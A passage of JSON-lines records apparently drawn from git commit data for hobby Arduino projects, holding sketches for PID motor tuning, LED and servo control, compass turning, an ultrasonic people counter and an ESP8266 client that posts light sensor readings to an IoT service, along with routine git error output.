-127, 127);\n\n \/\/ TODO: rewrite as register addressing\n if (m1_speed == 0)\n {\n digitalWrite(M1_ENABLE_PIN, 0);\n analogWrite(M1_PWM_PIN, 127);\n }\n else\n {\n digitalWrite(M1_ENABLE_PIN, 1);\n analogWrite(M1_PWM_PIN, 127 + m1_speed);\n }\n if (m2_speed == 0)\n {\n digitalWrite(M2_ENABLE_PIN, 0);\n analogWrite(M2_PWM_PIN, 127);\n }\n else\n {\n digitalWrite(M2_ENABLE_PIN, 1);\n analogWrite(M2_PWM_PIN, 127 + m2_speed);\n }\n\n Serial.println(0x6); \/\/ ACK\n}\n\n\n\n\/\/ TODO: look at https:\/\/github.com\/MajenkoLibraries\/Average\n#define MPOINTS 5\nint16_t avgtmp;\nint measured[MPOINTS];\n\nvoid print_measured()\n{\n for(uint8_t i=0; i < MPOINTS; i++)\n {\n Serial.print(F(\"measured[\"));\n Serial.print(i, DEC);\n Serial.print(F(\"]=\"));\n Serial.println(measured[i], DEC);\n }\n}\n\nvoid measure_motor1()\n{\n int readpin = 0;\n uint8_t hi_idx;\n uint8_t lo_idx;\n int8_t corr;\n\n if (m1_speed > -1)\n {\n corr = 1;\n readpin = M1_FWD_MEAS;\n }\n else\n {\n corr = -1;\n readpin = M1_BWD_MEAS;\n }\n \n hi_idx = 0;\n lo_idx = 0;\n\n digitalWrite(M1_ENABLE_PIN, 0);\n \/\/ give it some time\n delayMicroseconds(100);\n\n \/\/ Do measurements\n for(uint8_t i=0; i < MPOINTS; i++)\n {\n measured[i] = analogRead(readpin);\n if (measured[i] > measured[hi_idx])\n {\n hi_idx = i;\n }\n if (measured[i] < measured[hi_idx])\n {\n lo_idx = i;\n }\n }\n if (m1_speed != 0)\n {\n digitalWrite(M1_ENABLE_PIN, 1);\n }\n\n \/\/ Average them (but throw away highest and lowest values)\n avgtmp = 0;\n uint8_t counts = 0;\n for(uint8_t i=0; i < MPOINTS; i++)\n {\n \/\/ If these are the same then we have 4 counts instead of 3...\n if ( i == hi_idx\n || i == lo_idx)\n {\n continue;\n }\n avgtmp += measured[i];\n counts++;\n }\n m1_measured = (avgtmp \/ counts) * corr;\n \n \/*\n Serial.println(F(\"M1 measurements\"));\n print_measured();\n Serial.print(F(\"Averaged=\"));\n Serial.println(m1_measured);\n *\/\n}\n\n\nvoid measure_motor2()\n{\n int readpin = 0;\n uint8_t hi_idx;\n uint8_t lo_idx;\n int8_t corr;\n\n if (m2_speed > -1)\n {\n corr = 1;\n readpin = M2_FWD_MEAS;\n }\n else\n {\n corr = -1;\n readpin = M2_BWD_MEAS;\n }\n \n hi_idx = 0;\n lo_idx = 0;\n\n digitalWrite(M2_ENABLE_PIN, 0);\n \/\/ give it some time\n delayMicroseconds(100);\n\n \/\/ Do measurements\n for(uint8_t i=0; i < MPOINTS; i++)\n {\n measured[i] = analogRead(readpin);\n if (measured[i] > measured[hi_idx])\n {\n hi_idx = i;\n }\n if (measured[i] < measured[hi_idx])\n {\n lo_idx = i;\n }\n }\n if (m2_speed != 0)\n {\n digitalWrite(M2_ENABLE_PIN, 1);\n }\n\n \/\/ Average them (but throw away highest and lowest values)\n avgtmp = 0;\n uint8_t counts = 0;\n for(uint8_t i=0; i < MPOINTS; i++)\n {\n \/\/ If these are the same then we have 4 counts instead of 3...\n if ( i == hi_idx\n || i == lo_idx)\n {\n continue;\n }\n avgtmp += measured[i];\n counts++;\n }\n m2_measured = (avgtmp \/ counts) * corr;\n \n \/*\n Serial.println(F(\"M2 measurements\"));\n print_measured();\n Serial.print(F(\"Averaged=\"));\n Serial.println(m2_measured);\n *\/\n}\n\n\n\n\n\n\n\n\/**\n * Below here is the tuning example mostly intact\n *\/\n\n#include <PID_v1.h>\n#include <PID_AutoTune_v0.h>\n\nbyte ATuneModeRemember=2;\ndouble input=80, output=50, setpoint=180;\ndouble kp=2,ki=0.5,kd=2;\n\ndouble kpmodel=1.5, taup=100, theta[50];\ndouble outputStart=5;\ndouble aTuneStep=50, aTuneNoise=1, aTuneStartValue=100;\nunsigned int aTuneLookBack=20;\n\nboolean tuning = false;\nunsigned long modelTime, serialTime;\n\nPID myPID(&input, &output, &setpoint,kp,ki,kd, DIRECT);\nPID_ATune aTune(&input, &output);\n\n\/\/set to false to connect to the real world\nboolean useSimulation = true;\n\nvoid setup()\n{\n if(useSimulation)\n {\n for(byte i=0;i<50;i++)\n {\n theta[i]=outputStart;\n }\n modelTime = 0;\n }\n \/\/Setup the pid \n myPID.SetMode(AUTOMATIC);\n\n if(tuning)\n {\n tuning=false;\n changeAutoTune();\n tuning=true;\n }\n \n serialTime = 0;\n\n Serial.begin(115200);\n \/\/ set up the ADC\n ADCSRA &= ~PS_128; \/\/ remove bits set by Arduino library\n \/\/ you can choose a prescaler from above.\n \/\/ PS_16, PS_32, PS_64 or PS_128\n ADCSRA |= PS_64; \/\/ set our own prescaler to 64 \n\n pinMode(M1_FWD_MEAS, INPUT);\n pinMode(M1_BWD_MEAS, INPUT);\n pinMode(M2_FWD_MEAS, INPUT);\n pinMode(M2_BWD_MEAS, INPUT);\n\n pinMode(M1_ENABLE_PIN, OUTPUT);\n pinMode(M1_PWM_PIN, OUTPUT);\n pinMode(M2_ENABLE_PIN, OUTPUT);\n pinMode(M2_PWM_PIN, OUTPUT);\n\n setpoint = 400;\n myPID.SetOutputLimits(-127, 127);\n\n}\n\nvoid loop()\n{\n\n unsigned long now = millis();\n\n if(!useSimulation)\n { \/\/pull the input in from the real world\n \/\/input = analogRead(0);\n measure_motor1();\n \/\/measure_motor2();\n input = m1_measured;\n }\n \n if(tuning)\n {\n byte val = (aTune.Runtime());\n if (val!=0)\n {\n tuning = false;\n }\n if(!tuning)\n { \/\/we're done, set the tuning parameters\n kp = aTune.GetKp();\n ki = aTune.GetKi();\n kd = aTune.GetKd();\n myPID.SetTunings(kp,ki,kd);\n AutoTuneHelper(false);\n }\n }\n else myPID.Compute();\n \n if(useSimulation)\n {\n theta[30]=output;\n if(now>=modelTime)\n {\n modelTime +=100; \n DoModel();\n }\n }\n else\n {\n \/\/analogWrite(0,output); \n setSpeeds(output,0);\n }\n \n \/\/send-receive with processing if it's time\n if(millis()>serialTime)\n {\n SerialReceive();\n SerialSend();\n serialTime+=500;\n }\n}\n\nvoid changeAutoTune()\n{\n if(!tuning)\n {\n \/\/Set the output to the desired starting frequency.\n output=aTuneStartValue;\n aTune.SetNoiseBand(aTuneNoise);\n aTune.SetOutputStep(aTuneStep);\n aTune.SetLookbackSec((int)aTuneLookBack);\n AutoTuneHelper(true);\n tuning = true;\n }\n else\n { \/\/cancel autotune\n aTune.Cancel();\n tuning = false;\n AutoTuneHelper(false);\n }\n}\n\nvoid AutoTuneHelper(boolean start)\n{\n if(start)\n ATuneModeRemember = myPID.GetMode();\n else\n myPID.SetMode(ATuneModeRemember);\n}\n\n\nvoid SerialSend()\n{\n Serial.print(\"setpoint: \");Serial.print(setpoint); Serial.print(\" \");\n Serial.print(\"input: \");Serial.print(input); Serial.print(\" \");\n Serial.print(\"output: \");Serial.print(output); Serial.print(\" \");\n if(tuning){\n Serial.println(\"tuning mode\");\n } else {\n Serial.print(\"kp: \");Serial.print(myPID.GetKp());Serial.print(\" \");\n Serial.print(\"ki: \");Serial.print(myPID.GetKi());Serial.print(\" \");\n Serial.print(\"kd: \");Serial.print(myPID.GetKd());Serial.println();\n }\n}\n\nvoid SerialReceive()\n{\n if(Serial.available())\n {\n char b = Serial.read(); \n Serial.flush(); \n if((b=='1' && !tuning) || (b!='1' && tuning))changeAutoTune();\n }\n}\n\nvoid DoModel()\n{\n \/\/cycle the dead time\n for(byte i=0;i<49;i++)\n {\n theta[i] = theta[i+1];\n }\n \/\/compute the input\n input = (kpmodel \/ taup) *(theta[0]-outputStart) + input*(1-1\/taup) + ((float)random(-10,10))\/100;\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/pid_autotune\/pid_autotune.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"791e39f9c0b02e187593274a65055f14ced8b515","subject":"marco sucks butt","message":"marco sucks butt\n","repos":"SeaSweepersROV\/SeaSweepers2017,SeaSweepersROV\/SeaSweepers2017","old_file":"Sensor Code UPDATED(ET) NEW 7 DIGIT\/arduinoSensorTX7DIGIT\/arduinoSensorTX7DIGIT.ino","new_file":"Sensor Code UPDATED(ET) NEW 7 DIGIT\/arduinoSensorTX7DIGIT\/arduinoSensorTX7DIGIT.ino","new_contents":"","old_contents":"","returncode":2,"stderr":"\/bin\/sh: 1: Syntax error: \"(\" unexpected\n","license":"mit","lang":"Arduino"} {"commit":"4f7b39d068784fb5142776987b465a13c75d3fd5","subject":"Reading serial","message":"Reading serial\n","repos":"elliottkember\/sworduino,elliottkember\/sworduino,elliottkember\/sworduino,elliottkember\/sworduino","old_file":"xbeewifi\/xbeewifi.ino","new_file":"xbeewifi\/xbeewifi.ino","new_contents":"#include <ArduinoJson.h>\n#include <FastLED.h>\n\nstruct CRGB leds[10];\nDynamicJsonBuffer jsonBuffer(200);\n\nvoid setup() {\n randomSeed(analogRead(0));\n Serial.begin(57600);\n Serial1.begin(9600);\n FastLED.addLeds<APA102, 11, 13, GRB>(leds, 10).setCorrection(TypicalSMD5050);\n FastLED.setMaxPowerInVoltsAndMilliamps(5, 500);\n delay(1000);\n}\n\nvoid loop() {\n if(Serial1.available()) {\n JsonObject& root = jsonBuffer.parseObject(Serial1);\n float brightness = root[\"brightness\"];\n int hue = (float)root[\"hue\"] * 255;\n int patternId = root[\"patternId\"];\n float speed = root[\"speed\"];\n \n \/\/ if (brightness) FastLED.setBrightness(brightness * 255);\n }\n FastLED.show();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'xbeewifi\/xbeewifi.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"522ecd390d81c7ea54729ec5edbb30a2d8c174f7","subject":"Incoporated a piece of Arduino RobotLib","message":"Incoporated a piece of Arduino RobotLib\n","repos":"mjs513\/Dagu-Rover-5-Obstacle-Avoidance-Testbed,mjs513\/Dagu-Rover-5-Obstacle-Avoidance-Testbed,mjs513\/Dagu-Rover-5-Obstacle-Avoidance-Testbed","old_file":"DaguRover5AutoNav\/Compass_Control.ino","new_file":"DaguRover5AutoNav\/Compass_Control.ino","new_contents":"\/*\n Copyright (c) 2013 Arduino LLC. All right reserved.\n\n This library is free software; you can redistribute it and\/or\n modify it under the terms of the GNU Lesser General Public\n License as published by the Free Software Foundation; either\n version 2.1 of the License, or (at your option) any later version.\n\n This library is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n Lesser General Public License for more details.\n\n You should have received a copy of the GNU Lesser General Public\n License along with this library; if not, write to the Free Software\n Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n*\/\nvoid pointTo(int angle){\n int target=angle;\n target=target%360;\n if(target<0){\n target+=360;\n }\n int direction=angle;\n while(1){\n compass_update();\n int currentAngle=yar_heading;\n int diff=target-currentAngle;\n direction=180-(diff+360)%360;\n if(direction>0){\n mRight();\/\/right\n delay(10);\n }else{\n mLeft();\/\/left\n delay(10);\n }\n \/\/if(diff<-180) \n \/\/ diff += 360;\n \/\/else if(diff> 180) \n \/\/ diff -= 360;\n \/\/direction=-diff;\n \n if(abs(diff)<5){\n mStop();\n return;\n }\n }\n}\nvoid turn(int angle){\n compass_update();\n int originalAngle=yar_heading;\n int target=originalAngle+angle;\n pointTo(target);\n \/*uint8_t speed=80;\n target=target%360;\n if(target<0){\n target+=360;\n }\n int direction=angle;\n while(1){\n if(direction>0){\n motorsWrite(speed,speed);\/\/right\n delay(10);\n }else{\n motorsWrite(-speed,-speed);\/\/left\n delay(10);\n }\n int currentAngle=compassRead();\n int diff=target-currentAngle;\n if(diff<-180) \n diff += 360;\n else if(diff> 180) \n diff -= 360;\n direction=-diff;\n \n if(abs(diff)<5){\n motorsWrite(0,0);\n return;\n }\n }*\/\n}\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'DaguRover5AutoNav\/Compass_Control.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"381e14e60607e0054f38e7ff15e13020b5bbcfde","subject":"pinball_template changes, can't remember why","message":"pinball_template changes, can't remember why\n","repos":"agoering\/spice-arduino,ayocom\/spice-arduino","old_file":"Pinball Template\/pinball_template\/pinball_template.ino","new_file":"Pinball Template\/pinball_template\/pinball_template.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Pinball' did not match any file(s) known to git\nerror: pathspec 'Template\/pinball_template\/pinball_template.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"fb782a4bfbf77a41b6e0bf88086ffd139b95a5f5","subject":"fixed print bug","message":"fixed print bug\n","repos":"Duke-Medical-Instrumentation\/Inception","old_file":"Testing\/BluetoothTesting\/TransmitterMain\/Bluetooth.ino","new_file":"Testing\/BluetoothTesting\/TransmitterMain\/Bluetooth.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Duke-Medical-Instrumentation\/Inception.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"da2663459b800cd97208ad7706d820478de8c0a8","subject":"sm_commit","message":"sm_commit\n\nupload arduino source code\n","repos":"PEOPLE-INSIDE\/people-inside","old_file":"arduino\/sensor4.ino","new_file":"arduino\/sensor4.ino","new_contents":"\/\/\ucd08\uc74c\ud30c \uc13c\uc11c\uc758 \ud540\ubc88\ud638\ub97c \uc124\uc815\ud55c\ub2e4.\nint echoPin = 12, echoPin2 = 8;\nint trigPin = 13, trigPin2 = 9;\nfloat avg_dis1 = 0.0, avg_dis2 = 0.0;\nint mcc = 100;\nint cnt = 0;\nfloat arr1[100], arr2[100];\nint people_in = 0, people_out = 0, people_total = 0;\nbool in_sw1 = false, in_sw2 = false;\nbool out_sw1 = false, out_sw2 = false;\nbool eq_sw = false;\nbool in_start = false, out_start = false;\nint in_times = 0, out_times = 0, total_times = 0;\nfloat dis1_lowerbound = 0.0;\nfloat dis1_upperbound = 0.0;\nfloat dis2_lowerbound = 0.0;\nfloat dis2_upperbound = 0.0;\nfloat distance, distance2;\nfloat prev_dis1 = 0.0, prev_dis2 = 0.0;\n\nvoid setup() {\n Serial.begin(9600);\n \/\/ trig\ub97c \ucd9c\ub825\ubaa8\ub4dc\ub85c \uc124\uc815, echo\ub97c \uc785\ub825\ubaa8\ub4dc\ub85c \uc124\uc815\n pinMode(trigPin, OUTPUT);\n pinMode(echoPin, INPUT);\n pinMode(trigPin2, OUTPUT);\n pinMode(echoPin2, INPUT);\n}\n\nvoid inCount(float dis1, float dis2) { \/\/\ub4e4\uc5b4\uc624\ub294 \uacbd\uc6b0 \uce74\uc6b4\ud2b8 \uce21\uc815\n if (!out_start && !in_sw1 && (dis1 < dis1_lowerbound || dis1 > dis1_upperbound) && (dis2 > dis2_lowerbound && dis2 < dis2_upperbound)) {\n in_sw1 = true;\n in_start = true;\n }\n if (!in_sw2 && in_sw1 && (dis2 < dis2_lowerbound || dis2 > dis2_upperbound)) {\n in_sw2 = true;\n }\n if (!out_start && in_sw1 && in_sw2 && dis1 > dis1_lowerbound && dis1 < dis1_upperbound && dis2 < dis2_upperbound && dis2 > dis2_lowerbound) {\n in_times++;\n }\n else in_times = 0;\n if (in_times == 3) {\n people_in++;\n in_sw1 = false;\n in_sw2 = false;\n in_start = false;\n eq_sw=false;\n }\n}\nvoid outCount(float dis1, float dis2) {\n if (!in_start && !out_sw1 && (dis2 < dis2_lowerbound || dis2 > dis2_upperbound) && (dis1 > dis1_lowerbound && dis1 < dis1_upperbound)) {\n out_sw1 = true;\n out_start = true;\n }\n if (!out_sw2 && out_sw1 && (dis1 < dis1_lowerbound || dis1 > dis1_upperbound)) {\n out_sw2 = true;\n }\n if (!in_start && out_sw1 && out_sw2 && dis1 > dis1_lowerbound && dis1 < dis1_upperbound && dis2 < dis2_upperbound && dis2 > dis2_lowerbound) {\n out_times++;\n }\n else out_times = 0;\n if (out_times == 3) {\n people_out++;\n out_sw1 = false;\n out_sw2 = false;\n out_start = false;\n eq_sw = false;\n }\n}\nvoid equalCount(float dis1, float dis2, float p_dis1, float p_dis2) { \/\/\ub3d9\uc2dc \uc7a1\uc544\uc8fc\uae30\n if (p_dis1 < dis1_upperbound && p_dis1 > dis1_lowerbound && p_dis2 < dis2_upperbound && p_dis2 > dis2_lowerbound &&\n (dis1 < dis1_lowerbound || dis1 > dis1_upperbound) && (dis2 < dis2_lowerbound || dis2 > dis2_upperbound)) {\n eq_sw = true;\n }\n if (eq_sw == true) { \/\/\ub3d9\uc2dc\uc5d0 \ub5a8\uc5b4\uc84c\uc744 \ub54c\n if (dis1 > dis1_lowerbound && dis1 < dis1_upperbound && dis2 > dis2_lowerbound && dis2 < dis2_upperbound) { \/\/\ub3d9\uc2dc\uc5d0 \uc62c\ub77c\uc624\ub294 \uacbd\uc6b0\n eq_sw = false;\n }\n else if (dis1 > dis1_lowerbound && dis1 < dis1_upperbound) {\n out_times++;\n }\n else if (dis2 > dis2_lowerbound && dis2 < dis2_upperbound) {\n in_times++;\n }\n }\n}\nvoid loop() {\n float duration, duration2;\n\n \/\/ \ucd08\uc74c\ud30c\ub97c \ubcf4\ub0b8\ub2e4. \ub2e4 \ubcf4\ub0b4\uba74 echo\uac00 HIGH \uc0c1\ud0dc\ub85c \ub300\uae30\ud558\uac8c \ub41c\ub2e4.\n digitalWrite(trigPin2, HIGH);\n delay(10);\n digitalWrite(trigPin2, LOW);\n \/\/ echoPin \uc774 HIGH\ub97c \uc720\uc9c0\ud55c \uc2dc\uac04\uc744 \uc800\uc7a5 \ud55c\ub2e4.\n duration2 = pulseIn(echoPin2, HIGH);\n\n \n \/\/ \ucd08\uc74c\ud30c\ub97c \ubcf4\ub0b8\ub2e4. \ub2e4 \ubcf4\ub0b4\uba74 echo\uac00 HIGH \uc0c1\ud0dc\ub85c \ub300\uae30\ud558\uac8c \ub41c\ub2e4.\n digitalWrite(trigPin, HIGH);\n delay(10);\n digitalWrite(trigPin, LOW);\n \/\/ echoPin \uc774 HIGH\ub97c \uc720\uc9c0\ud55c \uc2dc\uac04\uc744 \uc800\uc7a5 \ud55c\ub2e4.\n duration = pulseIn(echoPin, HIGH);\n\n\n \/\/ HIGH \uc600\uc744 \ub54c \uc2dc\uac04(\ucd08\uc74c\ud30c\uac00 \ubcf4\ub0c8\ub2e4\uac00 \ub2e4\uc2dc \ub4e4\uc5b4\uc628 \uc2dc\uac04)\uc744 \uac00\uc9c0\uace0 \uac70\ub9ac\ub97c \uacc4\uc0b0 \ud55c\ub2e4.\n\n prev_dis1 = distance;\n prev_dis2 = distance2;\n distance = ((float)(340 * duration) \/ 10000) \/ 2;\n distance2 = ((float)(340 * duration2) \/ 10000) \/ 2;\n if (cnt < mcc && distance < 400 && distance2 < 400) { \/\/\ubc14\uc6b4\ub4dc\ub97c \uc704\ud574 \ud280\ub294\uac83 \uc608\uc678\ucc98\ub9ac\n arr1[cnt] = distance;\n arr2[cnt] = distance2;\n }\n else if (cnt == mcc) { \/\/\ubc14\uc6b4\ub4dc \uac12 \uc124\uc815\n float sum1 = 0.0, sum2 = 0.0;\n for (int i = 0; i < mcc; i++) {\n sum1 += arr1[i];\n sum2 += arr2[i];\n }\n avg_dis1 = sum1 \/ mcc;\n avg_dis2 = sum2 \/ mcc;\n sum1 = 0.0;\n sum2 = 0.0;\n for (int i = 0; i < mcc; i++) {\n sum1 += pow(arr1[i] - avg_dis1, 2);\n sum2 += pow(arr2[i] - avg_dis2, 2);\n }\n float sd1 = sqrt(sum1 \/ mcc) * 6;\n float sd2 = sqrt(sum2 \/ mcc) * 6;\n float sd;\n if (sd1 > sd2)\n sd = sd1;\n else\n sd = sd2;\n dis1_lowerbound = avg_dis1 - sd;\n dis1_upperbound = avg_dis1 + sd;\n dis2_lowerbound = avg_dis2 - sd;\n dis2_upperbound = avg_dis2 + sd;\n\n }\n else { \/\/\uce74\uc6b4\ud2b8 \uce21\uc815\n inCount(distance, distance2);\n outCount(distance, distance2);\n equalCount(distance, distance2, prev_dis1, prev_dis2);\n people_total = people_out - people_in;\n }\n if (distance < dis1_upperbound && distance > dis1_lowerbound && distance2 < dis2_upperbound && distance2 > dis2_lowerbound) \/\/\ubc94\uc704 \uc548\uc5d0 \uc5f0\uc18d\uc73c\ub85c \uc788\uc744 \ub54c\n total_times++;\n else\n total_times = 0;\n if (total_times == 3){\n total_times = 0;\n in_sw1 = false;\n out_sw1 = false;\n in_sw2 = false;\n out_sw2 = false;\n in_start = false;\n out_start = false;\n }\n cnt++;\n if(distance>400) distance = 0;\n if(distance2>400) distance2 = 0;\n Serial.print(distance);\n Serial.print(\" \");\n Serial.print(distance2);\n Serial.print(\" \");\n Serial.print(avg_dis1);\n Serial.print(\" \");\n Serial.print(avg_dis2);\n Serial.print(\" \");\n Serial.print(dis1_lowerbound);\n Serial.print(\" \");\n Serial.print(dis1_upperbound);\n Serial.print(\" \");\n Serial.print(dis2_lowerbound);\n Serial.print(\" \");\n Serial.print(dis2_upperbound);\n Serial.print(\" \");\n Serial.println((people_out - people_in) * 10);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/sensor4.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3dbb7d29b4f2ccdcfcc1e561c2f0fd9a3802e25d","subject":"Create arduino_servo_serial.ino","message":"Create arduino_servo_serial.ino","repos":"CRM-UAM\/Romualdo-HackUPC2017","old_file":"arduino_servo_serial\/arduino_servo_serial.ino","new_file":"arduino_servo_serial\/arduino_servo_serial.ino","new_contents":"#include <Servo.h>\n\nServo myservo;\n\nvoid setup() {\n delay(1000);\n Serial.begin(115200);\n myservo.attach(8);\n}\n\nvoid loop() {\n int pos = Serial.parseInt();\n if(pos > 0) {\n if(pos > 170) pos = 170;\n myservo.write(pos);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino_servo_serial\/arduino_servo_serial.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"272220758275688b36baa9ed715510b5cc8406bd","subject":"Create drawSprite.ino","message":"Create drawSprite.ino","repos":"TEAMarg\/drawSprite","old_file":"drawSprite.ino","new_file":"drawSprite.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/TEAMarg\/drawSprite.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"1b033b45182abb105d9d5e410792db9b911de5f7","subject":"example code added","message":"example code added\n","repos":"IvenProductCloud\/ArduinoESP8266","old_file":"examples\/indentedCodeESPArd.ino","new_file":"examples\/indentedCodeESPArd.ino","new_contents":"#define ard_rx_esp_tx 2\n#define ard_tx_esp_rx 3\n#define lightPin 1\nchar response[725];\nString api_key = \"\";\n#include <SoftwareSerial.h>\nString jSonBody1 = \"{\\\"data\\\":[{\\\"available\\\":true,\\\"at\\\":\\\"now\\\"}]}\";\nString jSonBody2 = \"{\\\"data\\\":[{\\\"available\\\":false,\\\"at\\\":\\\"now\\\"}]}\";\n\nint sensorValue = 0;\n\nSoftwareSerial ESPserial(ard_rx_esp_tx, ard_tx_esp_rx); \/\/ RX | TX\n\nint i, j;\nint count = 0;\n\nvoid setup()\n{\n\n Serial.begin(9600); \/\/ communication with the host computer\n while (!Serial);\n\n \/\/ Start the software serial for communication with the ESP8266\n ESPserial.begin(9600);\n pinMode( lightPin, INPUT);\n Serial.println(\"\");\n Serial.println(F(\"Remember to to set Both NL & CR in the serial monitor.\"));\n Serial.println(F(\"Ready\"));\n Serial.println(F(\"\"));\n Serial.println(F(\"start\"));\n\n\n delay(1000);\n\n\n}\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n if (api_key.length() == 0) {\n\n ESPserial.println(F(\"AT+CIPSTART=\\\"TCP\\\",\\\"demo.iven.io\\\",80\"));\n delay(1000);\n\n i = 0;\n while (ESPserial.available() ) {\n response[i] = ESPserial.read();\n i++;\n }\n response[i++] = '\\0';\n Serial.println(response);\n for (i = 0; i < 725; i++) {\n response[i] = '\\0';\n }\n\n ESPserial.println(F(\"AT+CIPSEND=107\"));\n delay(1000);\n\n i = 0;\n while (ESPserial.available() ) {\n response[i] = ESPserial.read();\n i++;\n }\n response[i++] = '\\0';\n Serial.println(response);\n for (i = 0; i < 725; i++) {\n response[i] = '\\0';\n }\n\n ESPserial.println(F(\"GET \/activate\/device HTTP\/1.1\"));\n ESPserial.println(F(\"Host: demo.iven.io\"));\n ESPserial.println(F(\"Activation: b353165e8f54e6fbf5cfa4220b38b19a5f74defa\"));\n ESPserial.println();\n\n\n i = 0;\n while (true) {\n if (ESPserial.available()) {\n response[i] = ESPserial.read();\n i++;\n if (i > 3) {\n if (response[i - 4] == 'I' && response[i - 3] == 'P' && response[i - 2] == 'D' && response[i - 1] == ',') {\n Serial.print(\"index is: \");\n Serial.println(i);\n i = 0;\n if ( ESPserial.available()) response[i] = ESPserial.read();\n i++;\n if ( ESPserial.available()) response[i] = ESPserial.read();\n i++;\n if ( ESPserial.available()) response[i] = ESPserial.read();\n i++;\n if ( ESPserial.available()) response[i] = ESPserial.read();\n i++;\n response[i++] = '\\0';\n Serial.println(response);\n sscanf(response, \"%d\", &j);\n Serial.println(j);\n i = 0;\n response[0] = '\\0';\n }\n }\n\n if (i == j) {\n response[i++] = '\\0';\n break;\n }\n }\n \/\/ if ( Serial.available() ) {\n \/\/ ESPserial.write( Serial.read() );\n \/\/ }\n }\n Serial.println(F(\"left loop\"));\n response[i++] = '\\0';\n Serial.println(F(\"Server response is: \"));\n Serial.println(response);\n if (response[9] == '2' && response[10] == '0' && response[11] == '0')\n {\n Serial.println(\"parser response: \");\n Serial.println(response);\n delay(1000);\n \/\/ read api key in response body\n int index;\n i = 0;\n j = 0;\n bool api = true;\n while (api) {\n if (response[i] == 'a' && response[i + 1] == 'p' && response[i + 2] == 'i' && response[i + 3] == '_' && response[i + 4] == 'k' && response[i + 5] == 'e' && response[i + 6] == 'y') {\n api = false;\n }\n i++;\n }\n\n i += 9;\n j = i;\n\n while (response[j] != '\"') {\n j++;\n }\n Serial.println(i);\n Serial.println(j);\n Serial.println(response[i]);\n Serial.println(response[j]);\n for (index = i; index < j; index++) {\n api_key += response[index];\n }\n\n } else {\n Serial.print(F(\"Something went wrong, server response is: \"));\n Serial.println(response);\n }\n\n } else {\n\n for (i = 0; i < 725; i++) {\n response[i] = '\\0';\n }\n Serial.println(F(\"done\"));\n Serial.print(F(\"API_KEY: \"));\n Serial.println(api_key);\n delay(1000);\n\n\n ESPserial.println(\"AT+CIPCLOSE\");\n delay(1000);\n i = 0;\n while (ESPserial.available() ) {\n response[i] = ESPserial.read();\n i++;\n }\n response[i++] = '\\0';\n Serial.println(response);\n for (i = 0; i < 725; i++) {\n response[i] = '\\0';\n }\n\n\n ESPserial.println(F(\"AT+CIPSTART=\\\"TCP\\\",\\\"demo.iven.io\\\",80\"));\n delay(1000);\n\n i = 0;\n while (ESPserial.available() ) {\n response[i] = ESPserial.read();\n i++;\n }\n response[i++] = '\\0';\n Serial.println(response);\n for (i = 0; i < 725; i++) {\n response[i] = '\\0';\n }\n\n\n sensorValue = analogRead(lightPin);\n\n if (sensorValue < 250) {\n\n ESPserial.println(F(\"AT+CIPSEND=257\"));\n delay(1000);\n\n i = 0;\n while (ESPserial.available() ) {\n response[i] = ESPserial.read();\n i++;\n }\n response[i++] = '\\0';\n Serial.println(response);\n for (i = 0; i < 725; i++) {\n response[i] = '\\0';\n }\n\n ESPserial.println(F(\"POST \/data HTTP\/1.1\"));\n ESPserial.println(F(\"Host: demo.iven.io\"));\n ESPserial.print(F(\"Connection: keep-alive\\r\\n\"));\n ESPserial.println(F(\"Accept-Encoding: gzip, deflate\"));\n ESPserial.println(F(\"Accept: *\/*\"));\n ESPserial.println(F(\"Content-Type: application\/json\"));\n ESPserial.print(F(\"API-KEY: \"));\n ESPserial.println(api_key);\n ESPserial.print(F(\"Content-Length: \"));\n ESPserial.println(jSonBody1.length());\n ESPserial.println();\n ESPserial.println(jSonBody1);\n\n } else {\n\n ESPserial.println(F(\"AT+CIPSEND=258\"));\n delay(1000);\n\n i = 0;\n while (ESPserial.available() ) {\n response[i] = ESPserial.read();\n i++;\n }\n response[i++] = '\\0';\n Serial.println(response);\n for (i = 0; i < 725; i++) {\n response[i] = '\\0';\n }\n\n ESPserial.println(F(\"POST \/data HTTP\/1.1\"));\n ESPserial.println(F(\"Host: demo.iven.io\"));\n ESPserial.print(F(\"Connection: keep-alive\\r\\n\"));\n ESPserial.println(F(\"Accept-Encoding: gzip, deflate\"));\n ESPserial.println(F(\"Accept: *\/*\"));\n ESPserial.println(F(\"Content-Type: application\/json\"));\n ESPserial.print(F(\"API-KEY: \"));\n ESPserial.println(api_key);\n ESPserial.print(F(\"Content-Length: \"));\n ESPserial.println(jSonBody2.length());\n ESPserial.println();\n ESPserial.println(jSonBody2);\n\n }\n i = 0;\n while (true) {\n if (ESPserial.available()) {\n response[i] = ESPserial.read();\n i++;\n if (i > 3) {\n if (response[i - 4] == 'I' && response[i - 3] == 'P' && response[i - 2] == 'D' && response[i - 1] == ',') {\n 